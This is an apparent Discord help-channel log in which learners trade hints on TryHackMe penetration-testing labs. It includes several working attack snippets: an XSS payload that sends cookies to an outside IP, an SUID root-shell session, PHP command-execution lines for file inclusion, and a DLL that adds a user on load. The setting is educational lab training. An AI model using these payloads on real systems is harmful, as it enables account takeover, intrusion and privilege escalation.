$ ls /tmp
snap.lxd
systemd-private-344b193d138b4bd1aeca48dae1c7f00d-systemd-logind.service-t5Gifg
systemd-private-344b193d138b4bd1aeca48dae1c7f00d-systemd-resolved.service-hIWSsh
systemd-private-344b193d138b4bd1aeca48dae1c7f00d-systemd-timesyncd.service-VVqg1g
$ touch /tmp/thm
$ nano /tmp thm
Unable to create directory /home/karen/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

$ nano /tmp/thm               
Unable to create directory /home/karen/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

$ cat /tmp/thm
#! /bin/bash
/bin/bash
$ cd /tmp
$ chmod +x thm
$ ls -l thm
-rwxrwxr-x 1 karen karen 23 Nov 21 17:57 thm
$ cd /home/murdoch 
$ ./test.c
-sh: 13: ./test.c: not found
$ ls -l test.c
ls: cannot access 'test.c': No such file or directory
$ cd /home
$ ls
matt  murdoch  ubuntu
$ cd murdoch
$ pwd
/home/murdoch
$ ls
test  thm.py
$ ./test
root@ip-10-10-150-90:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
root@ip-10-10-150-90:/home/murdoch# 

[modest arch]

thanks, worked!
there is the log

[next lance]

Gave +1 Rep to @shadow echo

Gave +1 Rep to @thorn crest

[gentle geyser]

Thanks, I took your suggestion, logged out and came to the park. 😎

[olive magnet]

last one i got stuck on bypassing it , any ideas ?

[final garden]

I am doing Protocols and Servers and I was wondering why would you use a Telnet communication on an FTP server instead of a connection with ftp?

[gentle geyser]

"slow is smooth and smooth is fast" 😎

well, now THAT was ez 😅

[copper sentinel]

which http request did you use ?

[waxen mantle]

Howdy. I'm doing the Vulnerability Capstone room and I can get a connection back but can't interact with the shell. Can anyone point me in the right direction?

I'll try and do it from the attack box vs vpn. I saw another room have issues with vpn

[waxen mantle]

I think I see what I did wrong

over thinking it

[snow quail]

Hello, I've got an issue in the NetSec challenge, specifically the question with the 2 usernames that need an FTP login. I've already got the password for both users and logged in via telnet using the non-default FTP port we discovered before; but now I don't know how to find the flag I'm looking for :(

[opal furnace]

Since you are already connected give this a quick read https://www.ibm.com/docs/en/scbn?topic=SSRJDU/gateway_services/ftp_globalec/SCN_Summary_of_FTP_Client_Commands_b.html

[snow quail]

Oh I didn't think about looking the FTP commands up, however I'm getting the 500 Unknown command error, I think I'm using the syntax wrong but I'm not sure

The PASV and TYPE commands seem to be working but the rest are not

[copper crater]

Hello, at linux priv esc task5 in jr pentest path I found the right exploit I wrote it, I opened http server with my host, I logon to victim machine with SSH when im trying to get exploit from my host it gives me "permission denied" can not write

But I believe it should be like this, can anyone give advice or hint?

[shadow echo]

Look for a directory where you have write permission to.

[copper crater]

smart its 2.09am here I couldnt think that it worked thanks

[next lance]

Gave +1 Rep to @shadow echo

[snow quail]

Oh nevermind I managed to get it, I had to use the FTP client though. Still thank you @opal furnace !

[next lance]

Gave +1 Rep to @opal furnace

[modest arch]

👍

[limber turtle]

Hi. I am stuck on the Nmap Basic Port Scans/ TCP SYN Scan task. When running nmap -sS IP_ADD I have the same result as the task. I cannot find the new open port. Any idea?

[azure flume]

I Just got to syn scan

[dry seal]

Hello, I am doing the Cross Site Scripting room and im stuck in the last task. I triple checked the payload and I have the Request Catcher open in another tab. I tried many times and it says "wait a minute for the request to come" but it never did.. can someone point out whats wrong?

</textarea><script>fetch('http://10.10.10.100/84a31a87e5cd30b324f3bde6a7b353f9?cookie=' + btoa(document.cookie) );</script>

[shadow echo]

Have you tried to manually open the ticket to check if you payload is good? Although if you manually open it you only get your own session cookie.

[dry seal]

I opened all of them, i actually thought it would take MY cookie since its a simulation and there isnt any "staff" that opens the tickets

and they are empty, no text.. i assume that means it executed the code

nvm it worked, i was using the page URL of the request catcher which is wrong

[idle bison]

Automation

[dry seal]

god bless technology

[exotic jungle]

Hello, on lab File Inclusion challenge#4. When I use the command|| <?PHP echo gethostname(); ?>|| should I expect the flag or am I missing something else? Thank you

[limber turtle]

@exotic jungle Yes, you should expect a flag. Plenty of walkthrough if you are stuck.

[shadow echo]

Basically you should expect to get the hostname, which iirc is also the flag. What's the reply you get? As first make sure your file inclusion works, if it does, maybe gethostname is not supported, so try to look for an alternative to retrieve the hostname.

[exotic jungle]

I just get a blank answer

[shadow echo]

So then maybe first try if you use echo that it's also printing it to make sure your code runs.

[exotic jungle]

I found a walkthrough and it showed all the challenges but not the RFI

[exotic jungle]

I tried <?php echo "Hello World" ?> and its a blank too

[limber turtle]

@exotic jungle You have the flag on the last line of the webpage, right under File content. Add the file path to the playground website and you are done.
Ah! Check stuffy24 if you are stuck on this one.

[shadow echo]

Well the question is about RFI. So maybe reread task 6 🙂

[limber turtle]

The command is <?php print exec('hostname'); ?>

[exotic jungle]

thats what I did and not even the test example works

[shadow echo]

But regarding to the screenshots, you are just entering the command in the file name field. But you are supposed to query a remote file from a different machine. Which will then gets executed with whatever code you have inside that remote file.

[exotic jungle]

yea I know but where's the remote server I'm supposed to use?

[shadow echo]

You have to provide that remote server yourself, with for example a simple python server.

[exotic jungle]

oh

[limber turtle]

@exotic jungle Here is what I did: 1. start python3 webserver and open a port of your choice. 2. Inject the file, Playgroundwebpag_IP file=Your IP_ADDRESS:PORT/file

[exotic jungle]

all right let me open the attackbox and try that

[limber turtle]

Managed to get the TCP SYN Scan to work. I restarted the machine, works like a charm. UDP Scan takes forever though.

[idle bison]

That's pretty normal, UDP scans are inherently slow and unreliable

[limber turtle]

👍

[sacred orbit]

hey, i'm trying to get a support ticket using "curl", it shows me the page in the terminal, but it doesn't send me any info on the web site. anyone knows what's wrong? the email address and all other info is correct

[opal furnace]

My guess is that you are trying to do a POST request, so try curl -X POST

[sacred orbit]

unfortunately it didn't work

[opal furnace]

What room are you working on?

[sacred orbit]

Authentication Bypass, but I already found the mistake: I didn't mention 'form' in content type

[sacred orbit]

but anyway, thanks!

[next lance]

Gave +1 Rep to @opal furnace

[eager pier]

I'm having trouble with Brute Forcing via fuff in the Authentication ByPass Module. The suggested command does not give me any result. I found 4 usernames in the step before.

ffuf*

[sacred orbit]

check the file you are using. it should be just 1 username per line and no other info

I just had the same problem a day ago, so I edited the original file using "nano"

[eager pier]

checked it! 4 names and only the names

[sacred orbit]

can you attach the screenshot?

[eager pier]

sure, don't know if it's allowed though!

[sacred orbit]

the file is OK but I want to see the command u r using

as long as you verified it's allowed

[sacred orbit]

maybe you are running the terminal in the wrong directory(it should be the same as the location of you usernames file)?

[eager pier]

no it's not that

[sacred orbit]

they were just talking about this problem, check it out, maybe it'll help

[shadow echo]

Still same issue?

[eager pier]

yes, I get no hits!

maybe the users upgraded to more secure pws...

[shadow echo]

The userlist you have there, did you manually create it or have you just edited the ffuf output file?

[eager pier]

i tried both ways but at the moment the list is manually edited by me to only contain the 4 usernames and no other characters.

[shadow echo]

So manually "created", not the ffuf file just edited and got rid of size, status etc. right?

[eager pier]

ahh, no it was created by ffuf and i edited it

[shadow echo]

Okay, then maybe try to create the file from scratch on your own with the usernames written manually.

Maybe it's a different issue, but would start of with that.

[eager pier]

you were right!

Something was wrong with the output file from ffuf! Interesting! The one I created manually works. Thanks! Maybe something worth investigating so that others don't have the same issue in this beginner pentester thing

[shadow echo]

Do you still have that username wordlist that wasn't working available?

[eager pier]

it's on my attackbox still

yep

[shadow echo]

What's the name of it`?

[eager pier]

/root/validusernames.txt is the bad file /root/valid_usernames.txt is the working one

they look the same to me!

[shadow echo]

Could you run cat /root/validusernames.txt | tr " " "*" | tr "\t" "&" | tr "\n" "#" and post the output?

[dense sorrel]

https://i.imgur.com/Cng4nn4.png Are the strings in read considered anti-virus signatures?

[drifting drum]

No. Those are just the names that different AV softwares use to refer to specific virus types. The signatures are a strings of code or operations that the file performs that cause the AV to think it's malicous

[shadow echo]

Oh it seems not to be in /root . Then just run cat validusernames.txt | tr " " "*" | tr "\t" "&" | tr "\n" "#" while being in the folder where that file is located

[eager pier]

It produces the same output.

[shadow echo]

Uhm, okay ? Weird. Well never mind then, maybe tr is not installed or the file name is having a typo in it. But at least it's working now 😄

[eager pier]

Yes, thanks 🙂 gtg with the dog now.

[dense sorrel]

Ah right.

[ebon pike]

Hey all, I was working on Protocols and Servers Task 6 and I am having some issue connecting to the remote host.
Can anyone help me out here?
While trying to connect to the remote machine vie POP3 port I am having this error.
┌──(kali㉿kali)-[~]
└─$ telnet 10.10.5.106 110 1 ⨯
Trying 10.10.5.106...
Connected to 10.10.5.106.
Escape character is '^]'.
+OK Hello there.
Connection closed by foreign host.

[modest arch]

Connection closed by foreign host. This means that launching the telnet service failed.

open tryhackme website and check if you are connected to the ovpn, then regenerate the file, and copy the following command.

git clone https://github.com/tryhackme/openvpn-troubleshooting

then run the script sudo ./thm-troubleshoot follow the instructions.

after that I want you to terminate the task VM and try again the telnet task.

[shadow echo]

Well I think if you are not doing anything within a certain amount of time the connection gets closed. So after you connected, login like explained in the task.

[ebon pike]

Okay, let me try this out and get back to you.
Thanks for the help

[plucky sapphire]

Hello. I'm working on https://tryhackme.com/room/netsecchallenge and I can't seem to get the flag, despite having 0% on the last question of Task 2. Is there something else I must do?

[modest arch]

@shadow echo have you used dirtyc0w.c ?

[opal furnace]

try it a few more times if you have the right command

it should show you the flag

[shadow echo]

I think I have used it once in a room yes.

[plucky sapphire]

as a pop-up or just text on the page?

[opal furnace]

text on the page afaik

[plucky sapphire]

thanks @opal furnace

[next lance]

Gave +1 Rep to @opal furnace

[ebon pike]

I tried this, no luck, the same error is popping up!!

[modest arch]

did you tried using a different port?

[ebon pike]

POP3 works on port 110 right?
How can I try different port?

[opal furnace]

no. you are connected

the problem is that you dont specify a user/password

do it with

USER <user>

PASS <password>

[ebon pike]

Connect to the VM (MACHINE_IP) at the POP3 port. Authenticate using the username frank and password D2xc9CgD. What is the response you get to STAT?
This was the question

[opal furnace]

yep. do the same thing

telnet ip 110

[ebon pike]

I am not getting the prompt to enter the username and password, should I add it on a single command?

[opal furnace]

there is no prompt. think at it as a command

you have to write it like a command

USER frank

PASS D2xc9CgD

[idle bison]

That first sentence is completely wrong. There's no telnet service involved whatsoever.

[modest arch]

For POP3 check port 110 and if using SSL then check port 995.

[ebon pike]

Ok got it, thanks for the help.

[modest arch]

oh I remember now at first when I did that I also was a little bit confused.

[ebon pike]

Yeah, it was confusing, in the previous task I got similar problem while getting the flag, so I bypassed it by wget, instead of telnet connection.😅

[modest arch]

this was my reference https://unix.stackexchange.com/questions/393959/telnet-connection-had-been-closed-by-a-foreign-host

[idle bison]

Doesn't mean it's correct.
It's a very different situation.

[modest arch]

I am happy to know more if you are willing to go in depth.

[idle bison]

Read what fontaene said

[modest arch]

Well I think if you are not doing anything within a certain amount of time the connection gets closed. So after you connected, login like explained in the task.

[ebon pike]

telnet 10.10.73.154 110
Trying 10.10.73.154...
Connected to 10.10.73.154.
Escape character is '^]'.
+OK Hello there.
USER frank
+OK Password required.
PASS D2xc9CgD
+OK logged in.
Connection closed by foreign host.

Now it's coming up like this

[opal furnace]

same thing. you havent inserted a command and it logged you off

[idle bison]

You're not connecting to a telnet service at all on the task. That's why it's quite clearly not a relavant answer

Sorting useful information from useless information is a skill to learn

[ebon pike]

I got the username and password, what's next than?

[modest arch]

taking notes on that.

[opal furnace]

give this a quick read https://electrictoolbox.com/pop3-commands/

(also read what the tasks question tells you)

[ebon pike]

Ok, now I got it, I have been used to connect via ssh so much, telnet was news to me.
Didn't knew how all this worked properly.
Thanks for the help. Solved the questions.

[modest arch]

don't forget to join the community, verify your account

[ebon pike]

Yeah, I was just looking into that, where can I verify my account?

[shadow echo]

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[modest arch]

Hi, I'm stuck in the subdomain enumeration task 6. when i run the command given on the web-based kali linux box, i get the ffuf command not found error. how can I proceed?

[opal furnace]

Show the command and error

[modest arch]

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.149.43

error is just the 'bash: ffuf: command not found'

[opal furnace]

you dont have fuff command installed

apt-get install fuff

[modest arch]

how come the web-based kali itself doesn't have ffuf installed? is it just me or does everyone need to go through this hidden step before being able to run the command?

the ffuf problem got solved, thanks 🙂

[idle bison]

Because you're expected to use the attackbox

The Attackbox is kept updated and maintained, the kali is not

[modest arch]

Ahh I see, okay. Thanks @idle bison !

[next lance]

Gave +1 Rep to @idle bison

[modest arch]

I haven't been able to find the winprivesc credentials, like the basic ones.

[shadow echo]

Check some of the other tasks, the creds will be the same for all machines in that room.

[modest arch]

I am actually overwhelmed by bunch of stuff going on and I did check linuxprivesc I didn't try all the possible creds like I have left to try, I also did checked the other sections in winprivesc and didn't find anything.

I am going to finish the nessus room, go for a sprint, practice the linuxprivesc techniques, and try again looking for those creds.

[earnest fox]

heyy guys i m a student french and i have questions about somes things like usualy, a french pentester with french certification have a chance to found a job in US or Canada ?

[shadow echo]

I think that's more of a question for #cyber-and-careers or #infosec-general

[earnest fox]

oh yeah you agree my bad !

i though it was here for ask anythings about junior pentester x)

[alpine wyvern]

Hell y'alls, is there a reason to why i am getting only fingerprints but not OS type during a "sudo nmap -O ip" or even "sudo nmap -sS -O ip" for the Nmap post ports scans for Task 3 OS detection? It's doing nothing like the walkthrough.

I know this is supposed to be a simple task but it isn't giving me the OS detect I need to answer the question.

[sage current]

-sV????

[alpine wyvern]

Let me try that.

[alpine wyvern]

Ugh... that worked... I need to play around more on this and try different commands. Thank you..

[next lance]

Gave +1 Rep to @sage current

[sage current]

no problem

reading the man page for nmap or going through the basics of nmap room will help a lot too

[alpine wyvern]

Absolutely... I seem to have gotten into this bad habit of not using it enough, man page, that is. I just need more practice thinking outside the box, and think, like you said, "man page is your best friend."

Sometimes, when one syntax don't work, just have to look deeper into man page... I assumed that -O was enough for OS detection. Just like the pentest exams asking this question asking what option would you use to detect the OS.. it doesn't work in reality until you add -sV... -O alone don't give me the OS at all, instead gives me the fingerprint.

[olive magnet]

GET , put i did the first one (post request) .. i am at the last one which needs to bypass the filters in use and i tried my payloads and i can't succeed to find a way around /etc/flag3

[jovial whale]

thanks omerikos, I'm still not getting anywhere. I've tried making my own file with the usernames with one on each line. I tried altering the ffuf output file making sure there were no additional spaces anywhere and just different versions of that. I removed the -fc 200 to see what would happen and I got output but it was alot and I couldn't find any status codes that were not 200. I also doubled check I was in the correct directory running it. I'm sure I'm missing something very obvious.

[next lance]

Gave +1 Rep to @sacred orbit

[opal furnace]

did you check if you have the file with the passwords?

[jovial whale]

yes I even opened it to make sure the file had stuff in it...

[opal furnace]

could you please give me the usernames wordlist so i try fixing the problem on my machine

[jovial whale]

it will be a few minutes I have to start the attack box

[opal furnace]

never mind i found it

btw it worked for me

why wouldnt it work for you hm

[olive magnet]

yo you need to set the status code to -mc 302,301 .. successful login will redirect not give you 200 ok

[jovial whale]

thank you hassk0dark. I will try it. I did try fc 300 but not 302,301

[next lance]

Gave +1 Rep to @olive magnet

[opal furnace]

it worked for me without specifying -fc 302,301

[shadow echo]

fc will filter out all 302 and 301 status codes then, so that's not it.

[opal furnace]

technically the command should work

@jovial whale you are working on attackbox right? let me try it on there too

[olive magnet]

sorry i meant -mc 302,301

but it does not need to filter the output it is already a small list

[olive magnet]

anyone please ?

doing lfi

stuck on flag3

[shadow echo]

How is your request looking like?

[olive magnet]

just solved lol .. thanks you make me notice another way ..i thought the way of solving this challenge by manipulating the input and it tends to be simple way

[opal furnace]

@jovial whale i played a bit with the fuff command. are you 100% positive that you put the right ip address

that seems like the only reason

[jovial whale]

thank the gods...it worked hass0dark.

[next lance]

Gave +1 Rep to @olive magnet

[opal furnace]

can you try it without it again? and the command from the web

to test it again

[jovial whale]

yes.. I just switched out the -fc to -mc 302,301 as hassk0dark suggested and I had success!

[opal furnace]

nice! but can you also try the first payload that you got without -mc 302,301

[jovial whale]

luma, very interesting I just re-ran the -fc 200 code and it gave me the answer. I don't understand that because I have doing that for the past week and I got nothing.

[opal furnace]

yeah i figured that -mc 302,301 wasnt the issue. i honesly have no idea why it didnt work the first time. but its good it works now

[jovial whale]

the first, second......20th time it didn't work over 7 days.

[sacred orbit]

my advice would be to find the answer and move on if you haven't done it yet

[jovial whale]

I went to task 5 and did that but it was hard for me to let task 4 go...🙃

[alpine wyvern]

Question, not sure the "why" part so, was curious. When running "ssh2-enum-algos" nmap queries in sudo for the attack machine, why does it work on the AttackBox but not while I am in OVPN? The error on my VM ovpn gives me the:
Failed to resolve "–script".
Failed to resolve "“ssh2-enum-algos”".
The script is there on my VM just like Attackbox is for Task 4 on nmap post port scans? I was able to answer all the questions, not sure the "why" is works fine on attackBox but not my VM while ovpn.
Thx

BTW, I can ping the attackbox which is my first step as a rule of thumb to ensure line of communication.

[opal furnace]

Can you send a screenshot please?

[opal furnace]

Try nmap --script=ssh2-enum-algos

[alpine wyvern]

That worked. May i ask, why it worked this way?

[opal furnace]

I dont know why -script "ssh2-enum-algos" worked for you on attackbox i've never seen it, but the way to call lua scripts is with --script=

check man nmap for more info

[alpine wyvern]

Alrighty... I was curious on the differences ... so weird.... Thanks again! 🙂

[next lance]

Gave +1 Rep to @opal furnace

[alpine wyvern]

Strange the man page is the same for both machines, AttackBox and my VM...

[mossy finch]

Please what’s the difference between enumeration and reconnaissance?

[opal furnace]

Seems like a good question for google!

[mossy finch]

@opal furnace Yo if you can answer the question, I’d appreciate if you do , if you don’t 🤐.

[opal furnace]

Sure bud! 😄

[mossy finch]

👍

[alpine wyvern]

Recon is broken into 2 categories. Passive and Active. Passive doesn't touch anything (attacking target) can be company names, employees which focus on OSINT, whereas active can trigger activity against the attacking machine to pull information like ports, web scan, vuln scan, etc... the enumeration part is where it gets interesting by getting IP, port versions which lets you use many different open source tools like nmap, curl, SET, msfconsole, etc.. too may to list... after gathering all the enumeration you can move to exploitation to gain access and privilege escalation.

[glad anchor]

hey need help in linux privesc cronjob
i have added revere shell code in backup.sh but i am not getting reverse shell

[opal furnace]

did you change permissions to that file?

chmod +x backup.sh

[glad anchor]

no i didnt

let me try

[opal furnace]

sure, try it, wait for 3-5 mins and let me know if it worked

[glad anchor]

thanks @opal furnace worked

[next lance]

Gave +1 Rep to @opal furnace

[drifting rapids]

yes

[mossy finch]

Thank you lonewolf

[next lance]

Gave +1 Rep to @alpine wyvern

[autumn flume]

👍

[stuck moss]

Hi

[stable stone]

SSRF I understand, very little.
I'm firm with this room, the other rooms fine ... who can give me a hint?

[opal furnace]

Which SSRF room exactly? there are 2 with the same name

[stable stone]

https://tryhackme.com/room/ssrfqi

[opal furnace]

okay, where are you stuck on?

[stable stone]

SSRF Examples😆

you will have passed the url as a parameter ...
but that's not what I don't understand

https://website.thm/item/2?server&x=https://server.website.thm/flag?&id=9

[opal furnace]

well, you left the ?server parameter empty

you should add &x= at the end

server should be = server.website....

[stable stone]

https://website.thm/item/2?server=https://server.website.thm/flag?id=9&x=

😫

[opal furnace]

that sounds about right

[stable stone]

I don't understand and you know it should be a simple room

[opal furnace]

oh, remove the https:// from the server.website.thm if it didnt work this way @stable stone

what dont you understand exactly?

i recommand reading the tasks again or watching a yt vid about it

yeah, thats the flag

remove it please 😅 since it shouldnt be leaked here

[stable stone]

video?

[opal furnace]

?

[stable stone]

SSRF and mysql Injection am only missing these two rooms, I have completed the others

without difficulties

for now thanks.

[warm jewel]

any luck @modest arch ? i got it compiled and with the correct suid. but the user stayed as karen instead of root.

[warm jewel]

I think I got it. My mistake. I am running Kali M1 Arm and compiled the C file for ARM. I just compiled again on another Kali x86 VM running on Mac Intel, copied the binary over to the mounted directory and run again.

Fudge. I'm kind of down now knowing this will be a blocker for M1. At least for now.

If anyone could direct me to cross compiling from arm to x86, I would appreciate it.

[modest arch]

Anyone around able to help with Task 8 on blind xxs?

[marble hamlet]

what part of the task are you stuck on?

[modest arch]

Task 8, trying to get my head around using the tryhackme request catcher.

[marble hamlet]

burp suite?

[modest arch]

https://tryhackme.com/room/xssgi

This one.

[marble hamlet]

@modest arch i just dropped you a message

[shy wasp]

anyone can help with task 5 on Exploit Vulnerabilities?

[shadow echo]

If you explain what the issue is, then you most probably will get some help.

[timid grail]

In metasploit exploitation task 6 I’m getting a 405 when I try to wget (or curl) rev_shell.elf. I’ve tried changing the port of the python3 web server and rebooting the target and attack box. Weird thing is this worked first try last night but I had to stop before setting up the handler and completing the task. Any help would be appreciated!

[calm swallow]

on the windows privesc room, task 5, how do I get the malicious dll to be loaded by a program? I've read through it a few times and I'm not sure which application is supposed to be exploited.

[shadow echo]

Have you solved it?

[shadow echo]

You have to do the exact same as in the task example.

[calm swallow]

that's where I'm getting stuck --- is the GetSystemDirectory command loading the DLL (under the "If SafeDllSearchMode is enabled, the search order is as follows:") section or am I supposed to be running 7zip?

windows is really a blind spot for me, educationally. trying to wrap my head around this lab.

[shadow echo]

The DLL will be loaded after you used sc stop dllsvc & sc start dllsvc

[calm swallow]

I'm getting errors when I use GetSystemDirectory , GetWindowsDirectory, and it's creating files when I run the sc stop dllsvc... commands

[timid grail]

I just did thanks! Did /9000 instead of :9000 in my wget lol 🙃

[next lance]

Gave +1 Rep to @shadow echo

[calm swallow]

my powershell is in the "DLL Hijack Service" directory.

getting the same errors in "Temp"

Am i overlooking something?

[shadow echo]

You don't have to use GetSystemDirectory or GetWindowsDirectory. First of all, what's the name and the location of the dll file you have created?

[calm swallow]

it's in C:\Temp\ and it's called...

dllhijackservice.dll

i compiled it on my kali VM with the instructions provided in the lab and used wget to pull it down. That part went smoothly

[shadow echo]

Okay, the filename is not right. Check the task again for what the name of the file has to be.

[calm swallow]

thanks. will do

i see.

I'm getting denied when I do the sc stop dllsvc and it's telling me that & is an invalid character when I put the full command

[shadow echo]

Well tbh I'm not too familiar with PS and windows either. But I was running these commands in CMD.

[calm swallow]

let me give that a whirl. Thanks for looking into this with me.

[next lance]

Gave +1 Rep to @shadow echo

[calm swallow]

lol, i'm throwing errors like when I first installed manjaro.

yeah, not sure what I'm doing wrong...

[shadow echo]

Maybe your dll file is not right.

I would start over again if I'm very stuck and try to follow the steps like in the task.

[calm swallow]

└─$ cat windows_dll.c                                                                      1 ⨯ │
#include <windows.h>                                                                           │
                                                                                               │
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {                         │
    if (dwReason == DLL_PROCESS_ATTACH) {                                                      │
        system("cmd.exe /k net user jack Password11");                                         │
        ExitProcess(0);                                                                        │
    }                                                                                          │
    return TRUE;                                                                               │
}                                                                                              │
               ```

sorry for the tmux formattnig stuff..

restarting the task.

[calm swallow]

taking a break. I'll come back to it another time.

[weak raven]

I was having problems with this too. I had to reboot the machine and redownload the payload as the service got stuck in a starting phase

couldn't stop the service after having failed once

at a quick glance from my phone your code looks proper

[calm swallow]

Thanks @weak raven. I'll take a few minutes when I'm with family to keep working on it. They keep asking me what I do. "Cry at labs" doesn't usually seem like a good answer

[next lance]

Gave +1 Rep to @weak raven

[idle bison]

Yep, that's it.
Sc is an alias in poweshell.
Sc.exe (explicitly the exe) should? Work

[weak raven]

yes it does, as well as net start <service> and net stop <service> etc

[idle bison]

I find the error messages from sc can be more intuitive personally

[weak raven]

agreed

I'm just an old windows goat

forcing myself to use powershell more

[idle bison]

I think you can do it with powershell with Start-Service etc

[weak raven]

it's funny, despite having massively more windows experience I still find windows is harder for me to priv esc

or just different, haven't done it as much

[calm swallow]

I think the documentation is cleaner on Linux privesc

Less bloat and outdated code so the path to privesc is straighter.

[modest arch]

How can I see or fetch the response payload using inspect element in firefox, after I changed the type of request from GET to POST?

I know I can easily do that with burp and curl, I think you are able to do it wite firefox also.

[somber gale]

I can capture the flag for the RFI File Inclusion Lab #playground challenge but, when I try it over OpenVpn from my localhost I cannot get the flag.......

[final garden]

Hello! My Net Sec challenge last task is broken. I tried a lot of scanning, all works fine, then I always get 0%. I tried to reset the machine but does not work.

I was able to get it finally. It seems like has some problems at that task

[brazen notch]

I'm doing the What the Shell challenges and it's tasked me with generating a powershell webshell for the windows box, but I'm trying to generate this payload with msfvenom and I cannot get the shell to activate. Any pointers?

[ocean socket]

For some reason I had issues too... In the end I've done it by using CMD instead PowerShell and the command: sc stop dllsvc & sc start dllsvc

[jade dust]

hello guys, may someone kindly please help me in the subdomainenumeration task 6, i have failed to answer the question close to one and a half weeks

[modest arch]

Can someone help me with the Cookie tampering task in the auth bypass room? I see that my openVPN is connected but when i run the first command, I am getting an error msg - Failed to connect to <ip> port 80 after 0 ms.

[opal furnace]

@modest arch @brazen notch could you send some screenshots please

[modest arch]

if I don't get the 'failed to connect message', I see this.

[opal furnace]

Thats because you are trying to CURL your own IP, not the machine's IP. That ip near root@ its your own. To get the machine's ip you have to start it. Search for a green button in the right corner that says "Start Machine" in this task or previous ones

[modest arch]

🤦‍♂️ my bad, thanks!

[opal furnace]

send some screenshots aswell but next time dont spam, it makes us less likely to help you

verify first

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[twilit yoke]

Hi trying to use wget to my simplehttpserver but i get the error cannot write to 'file' (permission denied)

on my simplehttpserver i have a 200 code

[opal furnace]

can you send a screenshot with both terminals please

[opal furnace]

Ah sure, maybe you dont have privs to create files in the directory

try to wget it into /tmp directory

[twilit yoke]

aah makes sense now

[next lance]

Gave +1 Rep to @opal furnace

[twilit yoke]

thank you @opal furnace !

[twilit yoke]

Linux privilege escalation SUID, any hints on flag3.txt? i have the user accounts dont know where to go from there, tried to add acc to shadow file but have no access

[shadow echo]

You found a binary with SUID bit set to use?

[twilit yoke]

yes base64

but you can only print with that right? not add a user 2 the shadow file?

[shadow echo]

You can basically read files, yes. Note, the task is just an example, in case of that example the SUID bit was set for nano, doesn't mean it is set for it on the target machine. So you don't have to follow the steps from that example on the target machine.

[twilit yoke]

@shadow echo I used this but I only can read files with ./base64 /etc/shadow | base64 --decode. i tried other commands but I cant work it out

for example I tried this

[shadow echo]

And that's correct, you can only read files. But what else do you need for that task?

[twilit yoke]

haha i got it now, thanks 🙂 my brain was too overloaded 😅

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

[brazen notch]

So, I was able to get a powershell shell only after I got a cmd shell via php. Should I be able to get a powershell shell directly from the php webshell? I’m not at my computer right right now to gather screenshots

[sly anchor]

just was going to ask after completing complete-beginner and web-fundamentals paths, which should i start first junior pentester or offensive pentester path

[opal furnace]

you should do pre security and junior pentester, they contain very useful information that you need for offensive path

[sly anchor]

Thanks you Luma, I will do that

[twilit yoke]

Room linux privesc, privage escalation: cron jobs. Should i use python to get the shell? (instead of bash) because i can make the python file

the * * * * * , does that mean the script needs 2 be executed and there is no time set?

[shadow echo]

You can just use the .sh files, although you could probably also use the .py file. Regarding the time for the crontab: https://crontab.guru/#*_*_*_*_*

[twilit yoke]

@shadow echo thanks for the crontab link, is very usefull. I wonder if it is possible I broke it? because i used python scripts first which didnt work(with errors). I wont receive shell when i use the /home/karen/backup.sh

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Check the permissions of that file.

[twilit yoke]

im not allowed to make antivirus file and i tried it also in all the PATH variables to see if i can make a dir of file there but have no permissions. @shadow echo any hints?

[shadow echo]

You already have the /home/karen/backup.sh so check the permissions of that file, sry if that wasn't clear what I meant with my last message.

ls -al /home/karen/backup.sh

[twilit yoke]

hmm i dont really understand, do i need to change permissions to root?

[shadow echo]

No, what's the output of ls -al /home/karen/backup.sh post it here pls.

[shadow echo]

So that file has only rw-r --r permission. So that means that file can not be executed, you have to set the permission to that file.

[twilit yoke]

got it thank you @shadow echo , i thought root was always allowed to execute a file

[next lance]

Gave +1 Rep to @shadow echo

[sand wave]

Knowing that Nmap scripts are saved in /usr/share/nmap/scripts on the AttackBox. What does the script http-robots.txt check for?
any help??

[bitter forge]

https://gyazo.com/1e68ebb7ff0b74fa29adc6996bc63367

Does someone know what i have to do? I put the full key inside the burp decoder and hashed it as md5 but from here i dont really know what the next step is

https://gyazo.com/f32e3688f9d9521f80f46391dfedc403

[crisp axle]

not the best answer, but this probably is not the best way to do this. you're better off downloading the .zip archive, extracting it, and running md5sum * to get the md5 hash of all the files

[bitter forge]

Yeah that might sound better

But in this module they make me work with burp

[shadow echo]

So have you opened that script and looked inside?

[crisp axle]

what's the room? it seems like a clumsy workflow to copy each file into burp, but if that's what the room wants i guess it's practice. in your screen sheet you're showing the encoding result as hex, click the "text" radio button. i also don't think you're actually getting the hash in your screenshot, you have nothing in your "Encode as..." dropdown

[bitter forge]

Burp suite: Other Modules Task 4 hashing

yeah im not getting it but in the hint they tell me to hash it as md5 first

[crisp axle]

right ok yeah, i guess they want you to use decoder then. look at the gif in the room, it shows you step-by-step how to do get the hash in ASCII format

[bitter forge]

ah i got it

thanks

[twilit yoke]

files i put into /tmp/test wont show up on target /home/ubuntu/sharedfolder

Am I missing something?

[twilit yoke]

restarted it and now it worked somehow

[bitter forge]

Good job

[final garden]

Hello! I try to do last question, task 2 from Metasploit Exploitation

I have to guess the password for user penny using smb_login module

[shadow echo]

Could you show the options you set?

[weak raven]

Read the options closely

Especially the ones you have set

[shadow echo]

One of your settings is not in the right place. Read the descriptions of them.

[final garden]

The port is wrong?

[weak raven]

Port is ok, take close attention to whether you want to supply a file that has both usernames and passwords, or just passwords.

[final garden]

Ah I see. Got it, thanks!

[weak raven]

No prob!

[brazen notch]

Anyone able to provide some guidance on troubleshooting this python cronjob reverse shell issue?

[opal furnace]

what issue?

[brazen notch]

From what I can see, the cronjob I created as the lower priv'd user at /tmp/test.py is running as root, when I look at /var/log/syslog, but no shell is establishing, I don't see a failure or any error messages, the shell just doesn't establish.

[opal furnace]

did you change the permissions of the file?

[brazen notch]

Nope

root as rwx privs on it.

[opal furnace]

what shell is that?

